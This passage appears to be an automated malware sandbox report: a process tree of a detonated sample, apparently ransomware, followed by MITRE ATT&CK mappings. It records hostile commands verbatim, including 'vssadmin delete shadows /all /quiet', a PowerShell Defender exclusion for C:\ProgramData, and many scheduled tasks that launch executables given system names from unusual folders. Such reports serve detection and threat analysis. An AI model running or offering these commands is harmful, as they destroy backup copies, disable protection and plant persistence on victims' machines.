C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\AppLaunch.exe"
5⤵
- Modifies extensions of user files
- Enumerates connected drives
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4056

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c vssadmin.exe delete shadows /all /quiet
6⤵
PID:4956

C:\Windows\system32\vssadmin.exe
vssadmin.exe delete shadows /all /quiet
7⤵
- Interacts with shadow copies
PID:5348

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c vssadmin.exe delete shadows /all /quiet
6⤵
- Suspicious use of WriteProcessMemory
PID:5740

C:\Windows\system32\vssadmin.exe
vssadmin.exe delete shadows /all /quiet
7⤵
- Interacts with shadow copies
PID:5800

C:\Users\Admin\AppData\Local\Temp\mm.exe
"C:\Users\Admin\AppData\Local\Temp\mm.exe"
4⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:5260

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"powershell" -Command Add-MpPreference -ExclusionPath 'C:\ProgramData'
5⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:5380

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "backgroundTaskHostb" /sc MINUTE /mo 7 /tr "'C:\Recovery\WindowsRE\backgroundTaskHost.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:220

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "backgroundTaskHost" /sc ONLOGON /tr "'C:\Recovery\WindowsRE\backgroundTaskHost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:1752

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "backgroundTaskHostb" /sc MINUTE /mo 10 /tr "'C:\Recovery\WindowsRE\backgroundTaskHost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:5032

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "backgroundTaskHostb" /sc MINUTE /mo 7 /tr "'C:\Users\Public\Music\backgroundTaskHost.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:3240

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "backgroundTaskHost" /sc ONLOGON /tr "'C:\Users\Public\Music\backgroundTaskHost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:4116

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "backgroundTaskHostb" /sc MINUTE /mo 10 /tr "'C:\Users\Public\Music\backgroundTaskHost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:4084

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "spoolsvs" /sc MINUTE /mo 13 /tr "'C:\Recovery\WindowsRE\spoolsv.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:2748

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "spoolsvs" /sc MINUTE /mo 11 /tr "'C:\Recovery\WindowsRE\spoolsv.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:4672

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "spoolsv" /sc ONLOGON /tr "'C:\Recovery\WindowsRE\spoolsv.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:4892

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "fontdrvhostf" /sc MINUTE /mo 11 /tr "'C:\Program Files (x86)\Windows Defender\fr-FR\fontdrvhost.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:3888

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "fontdrvhost" /sc ONLOGON /tr "'C:\Program Files (x86)\Windows Defender\fr-FR\fontdrvhost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:4612

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "fontdrvhostf" /sc MINUTE /mo 8 /tr "'C:\Program Files (x86)\Windows Defender\fr-FR\fontdrvhost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:4760

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "SystemS" /sc MINUTE /mo 10 /tr "'C:\Program Files\Windows Security\System.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:540

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "System" /sc ONLOGON /tr "'C:\Program Files\Windows Security\System.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:4224

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "SystemS" /sc MINUTE /mo 14 /tr "'C:\Program Files\Windows Security\System.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:1300

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "winlogonw" /sc MINUTE /mo 14 /tr "'C:\Users\Default User\winlogon.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:2440

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "winlogon" /sc ONLOGON /tr "'C:\Users\Default User\winlogon.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:4932

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "winlogonw" /sc MINUTE /mo 9 /tr "'C:\Users\Default User\winlogon.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:4948

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "dllhostd" /sc MINUTE /mo 9 /tr "'C:\Windows\CbsTemp\dllhost.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:5108

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "dllhost" /sc ONLOGON /tr "'C:\Windows\CbsTemp\dllhost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:4984

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "dllhostd" /sc MINUTE /mo 13 /tr "'C:\Windows\CbsTemp\dllhost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:1680

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "wininitw" /sc MINUTE /mo 12 /tr "'C:\Program Files (x86)\Internet Explorer\images\wininit.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:1584

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "wininit" /sc ONLOGON /tr "'C:\Program Files (x86)\Internet Explorer\images\wininit.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:2084

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "wininitw" /sc MINUTE /mo 14 /tr "'C:\Program Files (x86)\Internet Explorer\images\wininit.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:3696

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:4632

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:5508

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

Scripting

T1064

Persistence

Scheduled Task

Privilege Escalation

Bypass User Account Control

T1088

Scheduled Task

Defense Evasion

Bypass User Account Control

T1088

Disabling Security Tools

File Deletion

Modify Registry

Scripting

Virtualization/Sandbox Evasion

T1497

Credential Access

Credentials in Files

T1081

Discovery

Peripheral Device Discovery

T1120

Query Registry

System Information Discovery